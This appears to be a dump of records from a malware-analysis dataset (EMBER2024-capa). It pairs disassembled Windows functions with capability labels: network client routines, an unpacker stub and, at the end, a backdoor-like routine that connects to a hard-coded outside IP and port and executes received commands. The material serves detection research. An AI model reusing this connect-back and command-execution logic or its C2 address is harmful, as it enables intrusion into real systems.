joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007a2c0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [0x1400fc050]
mov rdi, rax
test rax, rax
je 0x14007a33d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x14007a368
cmp ebx, esi
je 0x14007a368
cmp ebx, 0x8000
ja 0x14007a368
cmp ebx, esi
jb 0x14007a363
mov edx, ebx
mov rcx, rdi
call qword [0x1400fc050]
mov rdi, rax
test rax, rax
jne 0x14007a300
mov rcx, rbp
call qword [fcn.14009ecf6]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x14007a348
mov rcx, rdi
jmp 0x14007a340

Function at 0x140080740
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400fc0c0]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1400807ba
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.1400654f0
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x1400807df
lea rdx, str.Error_accept__ing_server_connect
call fcn.140064890
lea eax, [rbx + 0x1f]
jmp 0x140080858
lea rdx, str.Connection_accepted_from_server_n
call fcn.140064a10
mov edx, 1
mov byte [rdi + 0x660], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.140073010
mov byte [rdi + 0xb2c], 1
cmp qword [rsi + 0x728], 0
je 0x140080856
mov dl, 1
mov rcx, rsi
call fcn.140054900
mov rcx, qword [rsi + 0x730]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x728]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.140054900
test ebx, ebx
je 0x140080856
mov rcx, rdi
call fcn.140080d70
mov eax, Ordinal_46
jmp 0x140080858
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14009db00
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140081850
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add rcx, 0xa00
cmp byte [rax + 0xf09], 0
jne 0x140081875
cmp dword [rax + 0x9f8], 0
je 0x1400818a1
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x1400818a1
lea rdx, str.MDTM__s
call fcn.1400988a0
test eax, eax
jne 0x1400818ae
mov dword [rbx + 0xab8], 0x12
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400826e0
add rsp, 0x20
pop rbx
ret
Function at 0x140082060
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x140082098
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400821b0
cmp byte [rcx + 0xf0e], 0
je 0x1400820b0
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140082ba0
cmp byte [rcx + 0xf11], 0
je 0x140082151
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x14008210b
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x1400820ee
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.1400988a0
test eax, eax
je 0x140082141
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x140082131
lea rdx, str.PRET_STOR__s
call fcn.1400988a0
test eax, eax
je 0x140082141
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.1400988a0
test eax, eax
jne 0x14008215e
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140082b10
add rsp, 0x20
pop rbx
ret

Function at 0x1400824a0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x1400824ed
cmp qword [rcx + 0xa88], 0
je 0x1400824ed
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.1400988a0
test eax, eax
jne 0x1400824f7
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.140082060
add rsp, 0x20
pop rbx
ret

Function at 0x140082680
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x1400826cc
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x1400826cc
lea rdx, str.SIZE__s
call fcn.1400988a0
test eax, eax
jne 0x1400826d9
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400824a0
add rsp, 0x20
pop rbx
ret

Function at 0x1400826e0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x140082738
cmp qword [rcx + 0xa88], 0
je 0x140082738
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x140082738
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.140080f80
jmp fcn.140082680
Function at 0x140082740
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x140082775
lea rdx, str.Couldnt_set_desired_mode
call fcn.140064890
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x14008278c
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.140064a10
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x1400827a8
mov rcx, rdi
call fcn.140082680
jmp 0x1400828df
cmp esi, 0x14
jne 0x1400828c1
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x140082829
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x140082829
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.14004e420
test eax, eax
jne 0x1400828df
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x14008281e
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x140082829
mov rcx, qword [rsp + 0x50]
call qword [fcn.14009ecf6]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x14008284d
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x1400b140a]
test rbp, rbp
mov r9, r8
lea rax, [0x1400e9c64]
cmovne r9, rbp
lea rcx, [0x1400a7170]
cmovne r8, rax
call fcn.140052830
mov rcx, rbp
mov r14, rax
call qword [fcn.14009ecf6]
test r14, r14
jne 0x14008288c
lea ebx, [r14 + 0x1b]
jmp 0x1400828e1
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x1400b4114]
call fcn.1400988a0
mov rcx, r14
mov esi, eax
call qword [fcn.14009ecf6]
test esi, esi
je 0x1400828b5
mov ebx, esi
jmp 0x1400828e1
mov dword [rdi + 0xab8], 0x1f
jmp 0x1400828e1
cmp esi, 0x15
jne 0x1400828cc
lea r8d, [rsi - 8]
jmp 0x1400828d5
cmp esi, 0x16
jne 0x1400828e1
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.1400821b0
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400881d0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x1400882f4
cmp r8d, 0xff
jne 0x140088231
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x14008821b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0xad4b0]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.140064a10
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.140064a10
cmp r8d, 0xfb
jne 0x140088243
lea r9, str.WILL
jmp 0x140088281
cmp r8d, 0xfc
jne 0x140088255
lea r9, str.WONT
jmp 0x140088281
cmp r8d, 0xfd
jne 0x140088267
lea r9, [0x1400aded4]
jmp 0x140088281
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x1400882dd
cmp r10d, 0x27
jg 0x1400882b4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0xadad0]
test r8, r8
jne 0x1400882c4
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.140064a10
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x14008829b
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.140064a10
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.140064a10
add rsp, 0x38
ret

Function at 0x140088640
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14008869f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140064890
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.1400881d0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x140088850
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400889f8
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400888b5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400888b5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400888b5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400888ec
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x140088942
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140088942
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140088942
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140088942
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140088942
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.140088300
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400889a4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140064890
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400886d0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400889f0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140064890
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x14008a160
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400fc0c0]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x14008a1f5
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x14008a256
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.140064890
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14009db00
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x14008a311
sub ecx, 1
je 0x14008a384
sub ecx, 1
je 0x14008a2c0
cmp ecx, 1
je 0x14008a2a3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400b4114]
call fcn.140064890
jmp 0x14008a384
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.140089e90
test eax, eax
je 0x14008a384
jmp 0x14008a22a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14008a384
sub rax, rsi
cmp rax, rbp
jae 0x14008a384
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.140064a10
jmp 0x14008a384
cmp r8d, 4
jle 0x14008a384
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x14008a384
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1400647b0
mov esi, eax
test eax, eax
je 0x14008a363
mov edx, 5
mov rcx, rbx
call fcn.14008ae50
mov eax, esi
jmp 0x14008a22a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.140073280
mov rcx, r14
call fcn.140073560
test eax, eax
je 0x14008a228
mov edx, 5
mov rcx, rbx
call fcn.14008ae50
mov eax, Ordinal_46
jmp 0x14008a22a
Function at 0x14009d120
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x14009d162
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x14009d1a9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x14009d202
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x14009d1c0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x14009d243
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400b1072]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400b1073]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x14009d210
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x14009e148
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14009e192
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14009e192
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14009e192
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14009e192
cmp dword [rcx + 0x84], 0xe
jbe 0x14009e192
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14009e194
xor al, al
add rsp, 0x28
ret
Function at 0x14009e3d8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14009e412
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14009e417
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14009e460
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x14009e460
dec r8
sub rdx, 1
jne 0x14009e446
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x14011dd70
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14011dd7d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14011dd8d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14011dd75
lea eax, [rcx + 1]
jmp 0x14011dd9b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14011ddae
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14011dd94
sub eax, 3
jb 0x14011ddce
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14011de1d
sar eax, 1
movsxd rbp, eax
jb 0x14011de04
jmp 0x14011dddc
add ebx, ebx
jne 0x14011ddda
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14011de04
inc ecx
add ebx, ebx
jne 0x14011ddea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14011de04
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14011ddfd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14011ddec
add ecx, 2
jmp 0x14011de09
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14011dd32
jmp 0x14011dd7d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xc5c00
mov dl, 0x24
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14011de6d
cmp rsi, rcx
jae 0x14011de75
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14011de54
cmp al, 0x8f
ja 0x14011de54
cmp byte [rsi - 2], 0xf
je 0x14011de5a
sub al, 0xe8
cmp al, 1
ja 0x14011de3e
cmp rsi, rcx
jae 0x14011de75
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14011de44
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14011de75
lodsb al, byte [rsi]
jmp 0x14011de54
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x11a000]
mov eax, dword [rdi]
or eax, eax
je 0x14011dede
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x122648]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14011de82
jns 0x14011deb7
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14011dec1
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14011ded8
mov qword [rbx], rax
add rbx, 8
jmp 0x14011dea2
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x23f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14011df36
sub rsp, 0xffffffffffffff80
jmp 0x1400a8378
Function at 0x1400023e0
Capabilities:
Connect socket
Execute command
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x220
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rsp + 0x210], rax
call fcn.140002180
lea rcx, str.connect..._n
call fcn.140001040
mov ecx, 0x202
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400025b3
xor ebp, ebp
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
mov qword [rsp + 0x28], rbp
xorps xmm1, xmm1
mov qword [rsp + 0x38], rbp
lea r9, [rsp + 0x28]
mov dword [rsp + 0x40], 1
lea r8, [rsp + 0x38]
mov dword [rsp + 0x44], 6
lea rdx, str.33110
lea rcx, str.13.112.122.67
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x140002602
mov rdi, qword [rsp + 0x28]
test rdi, rdi
je 0x140002559
mov r8d, dword [rdi + 0xc]
mov edx, dword [rdi + 8]
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400025f3
nop dword [rax]
mov r8d, dword [rdi + 0x10]
mov rcx, rsi
mov rdx, qword [rdi + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
mov ecx, 0x64
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
jne 0x1400024c0
lea rcx, str.connected__n
call fcn.140001040
lea rcx, str.chcp_437
mov dword [rsp + 0x20], ebp
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, str.get_num:
call fcn.140001040
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov rcx, rsi
lea r8d, [r9 + 1]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x1400025ea
movsx edx, byte [rsp + 0x30]
lea rcx, [0x140004724]
call fcn.140001040
movzx edx, byte [rsp + 0x30]
lea r8, [rsp + 0x20]
mov rcx, rsi
call fcn.1400014a0
test eax, eax
jne 0x140002500
lea rcx, str.disconnected..._n
jmp 0x140002584
lea rcx, str.connected__n
call fcn.140001040
lea rcx, str.chcp_437
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
